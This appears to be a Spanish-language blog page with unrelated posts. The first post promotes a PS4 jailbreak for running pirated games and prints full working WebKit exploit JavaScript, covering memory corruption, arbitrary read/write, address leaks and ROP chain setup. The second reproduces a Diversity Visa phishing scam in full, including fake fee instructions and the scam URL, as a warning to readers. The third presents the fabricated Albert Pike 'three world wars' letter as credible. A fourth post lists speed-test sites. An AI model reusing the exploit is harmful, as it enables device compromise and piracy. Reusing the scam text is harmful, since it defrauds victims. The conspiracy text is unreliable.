Como Hackear mi PlayStation 4 (PS4 Hack)

Sí, lo han logrado ejecutar copias piratas de juegos en la PlayStation 4 (PS4), a través de un exploit llamado Webkit firmware 1.76. Esto lo han logrado a traves del explorador de internet del Playstation 4 o PS4. En cuanto salga un exploit para el firmware 2.57 de PS4, o el último firmware, de seguro lo descarga en este mismo artículo.

Aqui les dejo el FirmWare 1.76 TestKit de la Playstation 4 (PS4), y el FirmWare 1.76 DevKit, ademas de la Actualizacion del Controlador .

Los archivos dicen en la página que están en :

http://wololo.net/downloads/index.php/download/8230

Pero como han de saber, al parecer de tanto trafico que obtuvo, el sitio cayo.  Y aunque dicen que pueden bajarlo desde ahi, ya no esta disponible por problemas de performance.

He logrado encontrar los archivos necesarios para lograr este hack, y los he subido para descargar en este link propio que si funciona : ps4_176_poc .

h1b

 

Su versión del firmware deberá ser la 1.76.

Les recuerdo, que modificar su PS4 en este caso, inválida su garantía.  Dicho esto, les dejo el código fuente de un dump o backup para hackear y/o ejecutar el exploit en la PlayStation 4 (PS4). Solo en caso de alguno de ustedes entienda algo de lo que dice!

Y no garantizo que funcione, eso se los dejo a aquellos aventureros que quieran probar con su ps4.

 

<html>
<body>
<h2>PS4 POC</h2><h3>by nas and Proxima</h3></br>
<script src=”inc/utils.js”></script>
<script src=”inc/jquery.js”></script>
<script type=”text/javascript”>

// global vars
var _gc, _cnt = 0;

function tryExplMac64(att)
{
try {
//
// Part 1: getting the Uint32Array object address
//
// init vars
var u32 = new Uint32Array(0x100);
var a1 = [0,1,2,3,u32];
var a2 = [0,1,2,3,4]; // right after a1
var a1len = a1.length;
var a2len = a2.length;
var u32len = u32.length;

// protect local vars from GC // for gdb
if (!_gc) _gc = new Array();
_gc.push(u32,a1,a2);

// declare custom compare function
var myCompFunc = function(x,y)
{
// check for the last call for last two array items
if (y == 3 && x == u32) {
//logAdd(“myCompFunc(u32,3)”);
// shift() is calling during sort(), what causes the
// last array item is written outside the array buffer
a1.shift();
}
return 0;
}

// call the vulnerable method – JSArray.sort(…)
a1.sort(myCompFunc);

// check results: a2.length should be overwritten by a1[4]
var len = a2.length;
//logAdd(“a2.length = 0x” + len.toString(16));
if (len == a2len) { logAdd(“error: 1”); return 1; }

//
// Part 2: creating corrupted JSValue which points to the (u32+0x18) address
//

// modify our compare function
myCompFunc = function(x,y)
{
if (y == 0 && x == 1) {
//logAdd(“myCompFunc(1,0)”);
// call shift() again to read the corrupted JSValue from a2.length
// into a1[3] on the next sort loop
a1.length = a1len;
a1.shift();
// modify JSValue
a2.length = len + 0x18;
}
if (y == 3) {
//logAdd(“myCompFunc(x,3)”);
// shift it back to access a1[3]
a1.unshift(0);
}
return 0;
}

a1.sort(myCompFunc);

// now a1[3] should contain the corrupted JSValue from a2.length (=len+0x18)
var c = a2.length;
//logAdd(“a2.length = 0x” + c.toString(16));
if (c != len + 0x18) { logAdd(“error: 2”); a1[3] = 0; return 2; }

//
// Part 3: overwriting ((JSUint32Array)u32).m_impl pointer (see JSCTypedArrayStubs.h)
//

// generate dummy JS functions
var f, f2, f2offs, f2old, funcs = new Array(30);
c = funcs.length;
for(var i=0; i < c; i++){
f = new Function(“arg”, ” return 876543210 + ” + (_cnt++) + “;”);
f.prop2 = 0x12345600 + i;
funcs[i] = f;
}

// generate JIT-code
for(var i=c-1; i >= 0; i–) { funcs[i](i); }

// prepare objects for the third sort() call
var mo = {};
var pd = { set: funcs[0], enumerable:true, configurable:true }
var a3 = [0,1,2,a1[3]];

// allocate mo’s property storage right after a3’s buffer
Object.defineProperty(mo, “prop0”, pd);
for(var i=1; i < 5; i++){
mo[“prop”+i] = i;
}

// protect from GC
_gc.push(a3,mo,funcs);

// use sort-n-shift technique again
myCompFunc = function(x,y)
{
// check for the last call for two last array items
if (y == 2) {
//logAdd(“myCompFunc(a3[3],2)”);
// a3[3] will be written over the mo.prop0 object
a3.shift();
}
return 0;
}

// overwrite mo.prop0 by a3[3] = a1[3] = &u32+0x18
a3.sort(myCompFunc);

// u32.prop1 has 0x20 offset inside u32, and 0x08 inside mo.prop0 GetterSetter object.
// we should put some valid pointers into GetterSetter
u32.prop1 = u32;     // GetterSetter.m_structure
u32.prop2 = 8;         // 8 = JSType.GetterSetterType
u32.prop1 = a1[3];  // bypass JSCell::isGetterSetter()

// clear corrupted JSValue
a1[3] = 0; a3[3] = 0;

// overwrite u32.m_impl by some JSFunction object
f = funcs[c-5];
pd.set = f;
Object.defineProperty(mo, “prop0”, pd);

// check results: u32.length is taken from f’s internals now
//logAdd(“u32.length = 0x” + u32.length.toString(16));
if (u32.length == u32len) { logAdd(“error: 3”); return 3; }

//
//  Part 4: getting the JIT-code memory address
//

// declare aux functions
var setU64 = function(offs, val) {
u32[offs]   = val % 0x100000000;
u32[offs+1] = val / 0x100000000;
}
var getU64 = function(offs) {
return u32[offs] + u32[offs+1] * 0x100000000;
}
var getU32 = function(offs) {
return u32[offs];
}
var getObjAddr = function(obj) {
// write obj into u32 data
pd.set.prop2 = obj;
// read obj address from u32
return getU64(2);
}

// get the memory address of u32
var u32addr = getObjAddr(u32);
//logAdd(“u32 address = 0x” + u32addr.toString(16));
// get the memory address of u32[0] (ArrayBufferView.m_baseAddress)
var u32base = getObjAddr(pd.set) + 0x20;
var u32base0 = u32base;
//logAdd(“u32 base = 0x” + u32base.toString(16));

// on x64 platforms we can’t just set u32.length to the huge number
// for ability to access arbitrary addresses. We should be able to
// modify the u32’s buffer pointer on-the-fly.
var setBase = function(addr){
if (!f2) {
// search for another JSFunction near “f”
for(var i=0x12; i < 0x80; i+=0x10){
if ((u32[i] >>> 8) == 0x123456) {
f2 = funcs[u32[i] & 0xFF];
f2offs = i – 6;
f2old = getU64(f2offs);
break;
}
}
logAdd(“f2offs = 0x” + f2offs);
if (!f2) { return false; }

}
if (pd.set != f) {
pd.set = f;
Object.defineProperty(mo, “prop0”, pd);
u32base = u32base0;
}
if (addr == null) return true;

// this will be the new value for ((ArrayBufferView)u32).m_baseAddress
setU64(f2offs, addr);

// overwrite ((JSUint32Array)u32).m_impl again
pd.set = f2;
Object.defineProperty(mo, “prop0”, pd);

u32base = addr;
//logAdd(“u32 new base = 0x” + u32base.toString(16));

return true;
}

// read/write the 64-bit value from the custom address
var getU64from = function(addr) {
if (addr < u32base || addr >= u32base + u32len*4) {
if (!setBase(addr)) return 0;
}
return getU64((addr – u32base) >>> 2);
}
var setU64to = function(addr,val) {
if (addr < u32base || addr >= u32base + u32len*4) {
if (!setBase(addr)) return 0;
}
return setU64((addr – u32base) >>> 2, val);
}

//logAdd(“u32 size: 0x” + u32.length.toString(16));

// Get the object table from the origianl heap address
// +0x20 is a pointer we can use for some object

var xx = getU64from(u32base0+0x20);
var yy=0;
//logAdd(“verify base: 0x”+xx.toString(16) );

//
// This is the only part you need to modify
//
//
//
// First, the heap array has a pointer into a function
// in WebKit2. The one I’m using is always at +0x20 from
// the original base at +0x20.

// 1.70 PS4 = -0x30bf0 is the start of webkit

// +0x25C4000 = some data
// +0x2414000 = import table
// (import table +0x20) =  modules table
// If this crashes, try it 2-4 more times. It usually will work

// target addr for the rop chain

var chain_addr = u32base0 + 0x80000;
var chain_data = u32base0 + 0x88000;

// xx will be the base address of WebKit2

xx = (getU64from(xx+0x20)-0x30bf0);
var wk_base = xx;
logAdd(“WebKit2 base address = 0x” + xx.toString(16));
xx += 0x2414000; // Get to the import table
setBase(xx);

xx = getU64from(xx+0x20); // Get to the module table
// Future use: data area somewhere around 0x200500000

//logAdd(“Dump Address is 0x” + xx.toString(16));

setBase(xx);

//get libSceLibcinternal base
//var libc_int_base = getU64from(xx+0xf98); //1.71
var libc_int_base = getU64from(xx+0x1628); //1.71

//get libkernel base
//xx = getU64from(xx+0xdd8); //1.71
xx = getU64from(xx+0x1468); //1.76
var libkernel_base = xx;

setBase(xx);

//get stack base
//xx = getU64from(xx+0x3D890); //1.76 webkit2 stack?
xx = getU64from(xx+0x5B278); //1.76 webprocess stack
//yy = getU64from(xx+0x5AA70); //1.71
var stack_base = xx – 0x4000;
//yy = getU64from(xx+0x5AA70);

logAdd(“libkernel Base is 0x” + libkernel_base.toString(16));
logAdd(“libSceLibcinternal Base is 0x” + libc_int_base.toString(16));
logAdd(“Stack Base is 0x” + stack_base.toString(16));
logAdd(“Chain Address is 0x” + chain_addr.toString(16));

//var return_va = 0x2b38; //1.71
var return_va = 0x2b38; //1.76
//var old_va = getU64from(return_va);
//var old_va8 = getU64from(return_va+8);

// ***************** ROP START *********************

// store data
// none
// store ROP chain
setU64to(chain_addr + 0, wk_base + 735703);
// point a return address of the stack to our chain
setU64to(stack_base + return_va + 8, chain_addr);
setU64to(stack_base + return_va, wk_base + 392117);

// ***************** ROP END ***********************

// cleanup

// restore f2 object
if (f2old) {
setBase(null); setU64(f2offs, f2old);
}

// delete corrupted property
delete mo.prop0;

}
catch(e) {
logAdd(e);
}

return 0;
}

// “Start” button onclick handler
function btnClick()
{
try {
logAdd(“======== Start ========”);

// check OS version
//if (navigator.platform != “MacIntel”) { logAdd(“<font color=red>This works for Mac OS X only!</>”); return; }

// try several attempts to exploit
for(var i=1; i < 5; i++){
logAdd(“<br/>Attempt #” + i + “:”);
if (tryExplMac64(i) == 0) break;
}

logAdd(“<br/>========&nbsp;End &nbsp;========<br/><br/>”);
}
catch(e) {
logAdd(e);
}

_log = null;
}

// print environment info
writeEnvInfo();

</script>

<button style=”width:100px;” onclick=”btnClick();”>Start</button>
<br/><br/>
<div id=”log”></div><br>
</body>
</html>

 

Lotería del engaño : Pishing Mails!

Muchas veces debes de haber recibido algun correo con alguna noticia demasiado buena para ser cierta. Pues tu intuición tiene razón! Es demasiado buena para ser verdad, y no es verdad, por más real que te parezca.

Un ejemplo de esto es este correo, que a fin de cuentas dice que has sido seleccionado para un programa de visa en Estados Unidos.

Cuando le das al link proporcionado por el correo te redirige a una página de captación de información, y por supuesto, en la siguiente página, luego de enviar la información le piden que le sea enviado dinero (solo un poquito : al menos $875 dolares americanos por cada miembro de tu familia) junto con su información personal como su ID de identificación o Pasaporte en formato JPG, Gif o cualquier formato estandar de imágenes. Y luego le seran suministrada la forma de pago, y por cierto, si no puede pagar dentro de los próximos 7 dias laborables, no envie la solicitud! Que tiernitos? Si te ilusionas, o estas tan necesitado que no te detienes a pensar solo unos 5 segundos o menos, te puede costar un buen dinerito, y ya con tu ID (el cual no podras cambiar) podrán intentar y lo haran, alguna transacción para embaucarte aun más.

  • Estas son las Instrucciones dada por la pagina para aplicar al programa de visado de Estados Unidos (que lindos) !
U.S. Department of State Bureau of Consular Affairs Banner

INSTRUCTIONS FOR THE DIVERSITY IMMIGRANT VISA PROGRAM

You have been selected at random from over 12.1 million qualified entries (16.5 million with derivatives) received. The diversity lottery was conducted under the terms of section 203(c) of the Immigration and Nationality Act which makes available 50,000 permanent resident visas annually to persons from countries with low rates of immigration to the United States.

The annual DV program makes visas available to persons meeting simple, but strict, eligibility requirements. The Department of State implemented the electronic fees processing system beginning with DV-2005 in order to make the DV process more efficient and secure.

With the Diversity Visa (also known as Green Card) you will enjoy all the advantages and benefits of a U.S. permanent resident, including health and education benefits, and employment opportunities along with guidance in your new country, orientation sessions and programs to integrate into mainstream American society. Once received you can use it at any time you want to move in the United States or just travel.

U.S. Government helps you with the accommodation and offers you Health Insurance (Freedom HSA Direct Individual Health insurance for 1 year), Dwelling (Apartment in any city you prefer, 1 bedroom for 3 months ), a guaranteed job (in the field that you are are currently qualified so you can start working even from the first week you arrive in the United States and get paid as U.S citizen. ) and education (for U.S. Students or Higher Education through Education USA. It includes transfer to a U.S college or University so you can continue your educational study.

PROCESSING FEES :

Is the Diversity Visa FREE ?

No. There is a big confusion. Only the participation in the Diversity Visa Lottery was free but the winners must pay the visa processing fees.

United States Permanent Resident Card Granted! – Waiting for payment of processing fee US $875.00

Although the Diversity Visa participation was free, the law and regulations require to every diversity visa winner to pay a visa processing fee of US $875.00. The Diversity Visa (Green Card) is guaranteed upon receiving the payment. The per person fee for each Diversity Visa is US $875.00, payable in U.S. dollars or equivalent of your local currency. This US $875.00 fee is the only fee a winner needs to pay throughout the entire relocation process. Accompanying family members (wife/husband, fiancee, brothers, sisters, children, cousins) may be included in the program and their visas will be provided at the same time with yours so you can travel/move together in the same time. However the fees must be paid per person and each member(e.g wife, brother, parents, children, cousin) must pay US $875.00. There is no discount for children.

Please note that you are allowed to take with you as many family members you want. If your marital status has changed (you have a domestic partner or you got married) from the time you applied for the Green Card you can apply for your new family members. However for each person you must pay an additional amount of US $875.00. For example if you decide to move in the United States with your wife and a kid the total fee is US $875.00 (your fee) + US $875.00 (your wife’s fee) + US $875.00 (your kid’s fee) = US $2,625.00.

PURPOSE: The U.S. Department of State uses the fee payment primarily to process your visa related documents and verify your identity. Also you will get plane tickets for your travel. You can use the tickets at any time you want to move in the United States or just travel.

Visa Payment processing instructions

The fees must be paid using bank transfer and will be processed by the U.S. embassy in the Poland. The U.S. Department of State decided this based on the diplomatic relations with your country. Please note that you can choose the country where the interview will take place. In order to receive the payment details for paying the processing fees you need to upload your passport and the passport or National ID of your accompanying family members ( only if this is the case ). If you do not have a passport you can use your National ID or Birth Certificate.

You must email your documents at support@ceac-visa.com.

Please include your last name and your confirmation number.

Example (Identity ID or Passport for each member of your family)*

Formats File Acceptateble : JPG, PNG, PDF, GIF, TIFF, DOC, DOCX

Within 24 hours after you have uploaded the documents, you will receive a confirmation via email with the details that you need for paying the processing fees.

NOTE: Once you have received the winning notification, you have 7 working days for paying the processing fees. You are strongly encouraged not to wait until the last day to pay. Heavy demand may result in system delays. Under no circumstances can diversity visas be issued or adjustments approved after this date, nor can family members obtain diversity visas to follow-to-join the principal applicant in the U.S. after this date.

Please note that the status of your application will be updated within 24 hours after you have paid the processing fees. Do not ask us why you cannot verify your application with the confirmation number, the status of your application will change only after you have paid the processing fees.

After you have paid the processing fees, within 72 hours, you will receive a confirmation via email with the exact date and time of the final interview. Upon successful interview you will receive your documents and travel information to move in the United States.

You have been selected winner of the Diversity Visa lottery so the visa is guaranteed upon receiving the payment fees on time. A hard copy of this letter will be mailed to your postal address upon receiving the payment fees.

IMPORTANT : Do not submit your documents for processing the application if you are not able to pay the fees within 7 working days; if the processing fees are not paid in maximum 7 working days, you will be negative flagged in our database and this may cause in the future when you submit again your application; also, do not submit the documents if you don’t agree with the payment process because we cannot change our terms.

HelpFor any questions please contact U.S. Department of State’s Support at support@ceac-visa.com. Always include your last name and your Confirmation Number.

  • Este es el formulario de captación de datos de la página:
U.S. Department of State Bureau of Consular Affairs Banner

  Enter Entrant Information

1. Confirmation Number:
In the space below, type the confirmation number that was given in the winning notification.
Format: 2015xxxxxxxxxxxx.
2. Last/Family Name:
Provide the Last/Family Name that was used on the Diversity Visa Lottery Form.If no name was provided, select the option labeled ‘No Last/Family Name’ below.
A Last/Family Name was not used during the application process.
3. Year of Birth:
Provide the year of birth for the primary entrant. Format: YYYY.

 

  • Correo original :

U.S.Department of State sent you this message to Dear User (tucorreo@tuproveedormail.com)
Your registered name is included to show this message originated from U.S. Department of State

Dear Dear User,

Congratulations! You are one of the 50,000 winners selected by the computer random draw from the 12.1 million entries registered in the Diversity Immigrant Visa Program.The Diversity Immigrant Visa program is a United States congressional-mandated lottery program for receiving a United States Permanent Resident Card.It is also known as the Green Card Lottery.

Winner Details:
————————————————————————————————————————

Confirmation Number: 2015…
Winner Name: Dear User
Married: NO

————————————————————————————————————————

Please click the link below, follow the instruction and start the integration process in the United States as soon as possible.

http://state-sv66afc.ceac-notify.com/internal/status/a/?CN=2015…

CONFIDENTIALITY STATEMENT: AUTHORITIES: The information asked for on this form is requested pursuant to Section 222 of the Immigration and Nationality Act. Section 222(f) provides that the records of the Department of State and of diplomatic and consular offices of the United States pertaining to the issuance and refusal of visas or permits to enter the United States shall be considered and shall be used only for the formulation, amendment, administration, or enforcement of the immigration, nationality, and other laws of the United States. Certified copies of such records may be made available to a court provided the court certifies that the information contained in such records is needed in a case pending before the court. PURPOSE: The U.S. Department of State uses the facts you provide on this form primarily to determine your classification and eligibility for a U.S. immigrant visa. Individuals who fail to submit this form or who do not provide all the requested information may be denied a U.S. immigrant visa. Although furnishing this information is voluntary, failure to provide this information may delay or prevent the processing of your case. ROUTINE USES: If you are issued an immigrant visa and are subsequently admitted to the United States as an immigrant, the Department of Homeland Security will use the information on this form to issue you a Permanent Resident Card, and, if you so indicate, the Social Security Administration will use the information to issue a social security number. The information provided may also be released to federal agencies for law enforcement, counter terrorism and homeland security purposes; to Congress and courts within their sphere of jurisdiction; and to other federal agencies who may need the information to administer or enforce U.S. laws.

 

  • Entonces, luego de leer este artículo, también he logrado enseñarle como se hace dinero en internet, engañando personas. Pero también, y más importante aún, le enseñado a como identificar esos correos de engaño, que es lo que al final quiero que haga, y le enseñe a otros a no caer en estas tontas trampas. Los Pishers, solo necesitan una oportunidad, no se las de.

Conspiracion Iluminati : WWI, WWII, WWIII preconcebidas. The New Order!

El Nuevo Orden (The New Order en Inglés) : Será esto lo que significa? El popular juego de Wolfenstein : The New Order, nos estará dando una idea de lo que puede ser este nuevo orden social?

Esto es un esctracto traducido de una supuesta carta de un Grand Maestre Mason a un Director de los Illuminati, el 15 de agosto de 1871! Décadas antes de que iniciare la Primera Guerra Mundial; aparentemente detallando el plan para 3 guerras mundiales.

Según el extracto de la carta, la 3ra. Guerra mundial estará fomentada por las diferencias con los líderes del mundo islámico, que actualmente ha alimentado dos guerras directa o indirectamente, y que continua en la actualidad horrorizando al mundo cristiano y creando prejuicios contra todo ser humano de facciones arábigas.

Esta es una traducción del texto fuente :

La carta de Albert Pike a Giuseppe Mazzini en 1871, en relación a una conspiración que involucra a tres guerras mundiales, que estaban previstos en un intento de conquistar el mundo; estubo en exhibición en la Biblioteca del Museo Británico de Londres hasta 1977, cuyo museo niega la existencia de la carta.

Iluminados– Giuseppe Mazzini fue un líder revolucionario italiano de mediados  de la década de 1800, así como el Director de los Illuminati.

 

– Albert Pike (figura masónica histórica) es un grado 33, masón ocultista Gran Maestre y creador de la Jurisdicción Meridional, division Masónica del Rito Escocés Antiguo y Aceptado.

La Primera Guerra Mundial debe ser provocada con el fin de permitir a los Illuminati derrocar el poder de los zares en Rusia y de hacer que ese país una fortaleza del comunismo ateo. Las divergencias causadas por los Agentur (agentes) de los Illuminati entre los imperios británico y germánicas (Alemanes) se usarán para fomentar esta guerra. Al final de la guerra, el comunismo se establecerá y se utiliza con el fin de destruir los otros gobiernos y debilitar las religiones.

La Segunda Guerra Mundial debe ser fomentada mediante el aprovechamiento de las diferencias entre los fascistas y los sionistas políticos. Esta guerra debe ser provocada por lo que el nazismo es destruido y que el sionismo político sea lo suficientemente fuerte como para instituir el Estado soberano de Israel en Palestina. Durante la Segunda Guerra Mundial, el comunismo internacional debe llegar a ser lo suficientemente fuerte como para equilibrar la cristiandad, que sería luego refrenada y mantenida en observación, hasta el momento en que lo necesitaríamos para el cataclismo social final.

La Tercera Guerra Mundial debe ser fomentada mediante el aprovechamiento de las diferencias causadas por la Agentur de los Illuminati, entre los sionistas políticos y los líderes del mundo islámico. La guerra debe llevarse a cabo de tal manera que el Islam (el musulmán árabe Mundial) y el sionismo político (Estado de Israel) destruyen mutuamente.

Mientras tanto, las otras naciones, una vez más divididas sobre este tema serán obligados a luchar hasta el punto de completo agotamiento físico, moral, espiritual y económica… Vamos a dar rienda suelta a los nihilistas y los ateos, y vamos a provocar un cataclismo social, formidable, que con todo su horror mostrará claramente a las naciones el efecto del ateísmo absoluto, origen del salvajismo y de la más sangrienta confusión.  Entonces por doquier, los ciudadanos, obligados a defenderse contra la minoría mundial de revolucionarios, exterminarán a esos destructores de la civilización, y la multitud, desilusionados con el cristianismo, cuyos espíritus deístas estarán desde ese momento sin brújula ni dirección, ansiosos por un ideal, pero sin saber dónde hacer su adoración, recibirán la verdadera luz a través de la manifestación universal de la doctrina pura de Lucifer, llevado finalmente a cabo en la vista pública.  Esta manifestación resultará del movimiento reaccionario general que seguirá a la destrucción del cristianismo y el ateísmo, ambos conquistados y exterminados al mismo tiempo.

En este video (en ingles) se hace una explicacion sobre el tema que llaman el Nuevo Orden “The New Order”, (Si, igual que Wolftenstein, el video juego sobre el mundo si los Nazis hubieran ganado la guerra)

Pensando solo un poco, sin fijarnos en muchos detalles, y a modo general, los actos que dice el estracto de la carta para la tercera guerra mundial, estan sucediendo actualmente, los cristianos, testigos de Jehova y otros grupos que adoran al Dios de Abraham, Jesus y su madre Maria, nos han advertido sobre este apocalipsis, y la venida de Jesus despues de estos grandes sucesos.

 

Mide tu Velocidad de Internet! Recibes por lo que pagaste?

Mide tu Velocidad de internet!Mide Tu Velocidad de Internet

Recientemente he cambiado mi proveedora del servicio, y  curioso de verificar que velocidad me entrega el proveedor, hice la prueba. Sorpresa! Cuando medí mi velocidad en el site del proveedor, y lo comparé contra otros sites de medida que encontre por ahi. Pues la velocidad detectada en cada caso, era muy diferente.

Puede comprobarlo usted mismo, haga la prueba y verifique, que poniendolos todos uno al lado del otro, y dandole click a cada uno casi en el mismo instante, los resultados son variados y el margen de error es muy grande, es decir, la diferencia de los resultados, es por mucho, muy diferente.

Aquí les dejo los enlaces a los diferentes sites de medición de internet, en al menos 3 versiones de Ookla, y en al varios paises (Incluidos España, Perú, República Dominicana, México, Colombia y Estados Unidos) diferentes de las proveedoras de internet (Claro, Movistar, MegaCable,Une, VTR y Verizon), perdone si es que me faltare alguno.

Desde la página de Ookla, con la versión 3.06

http://www.speedtest.net/es/

http://www.speedtest.net/

Desde Claro con la versión 3.05

http://www.speed.com.do/

Desde Movistar con la versión 3.06

http://www.movistar.com.pe/mide-tu-velocidad

Desde MegaCable, versión 3.03

http://www.megacable.com.mx/mide_tu_velocidad.html

Desde Adsl Zone, versión 3.03

http://www.testdevelocidad.es/

Desde Une, versión 3.03

http://medicion.une.net.co/

Desde VTR, versión 3.03

http://velocidad.vtr.net/

Desde Verizon, versión 3.05

http://my.verizon.com/services/speedtest/

Si usted tiene la opción de reclamar y ser escuchado, y su reclamo respondido, es tiempo de iniciar su reclamación.